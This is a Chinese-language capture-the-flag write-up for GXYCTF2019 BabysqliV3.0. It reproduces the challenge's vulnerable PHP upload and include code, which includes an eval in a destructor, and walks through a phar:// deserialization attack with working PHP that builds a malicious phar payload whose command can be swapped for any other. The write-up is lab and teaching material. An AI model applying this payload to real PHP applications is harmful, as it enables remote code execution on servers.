# [GXYCTF2019]BabysqliV3.0
文件包含获取源码:
home.php
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "å½åå¼ç¨çæ¯ ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
?>
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
ä¸ä¼ æ件
<input type="file" name="file" />
<input type="submit" name="submit" value="ä¸ä¼ " />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (â²â½`ã)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "ä¸é¢æ¯ä½ ä¸ä¼ çæ件ï¼<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
可操控的参数和命令执行函数
$this->Filename = $_GET['name'];
eval($this->cmd);
上传代码
if(@file_get_contents($uploader)){
echo "下é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
观察了一下代码,发现应该是一个反序列化,但是有没有发现反序列化代码,确定是一道 phar 反序列化题目
由于使用文件操作函数配合伪协议 phar://
读取文件可触发反序列化,从而导致 rce.
基于这样的想法,这里便上传一个 .phar
文件
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
这里还需要获得 user 的 session
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
随便上传个文件得到 session
构造一下上传的文件
class Uploader{
public $Filename;
public $cmd;
public $token;
function __destruct(){
eval($this->cmd);
}
}
$o = new Uploader();
$o->cmd = 'phpinfo();';#
$o->token = 'd41d8cd98f00b204e9800998ecf8427e';
$phar = new Phar("payload.phar");
$phar ->startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?");
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","you are hacked");
$phar -> stopBuffering();
换一下 cmd 就行了。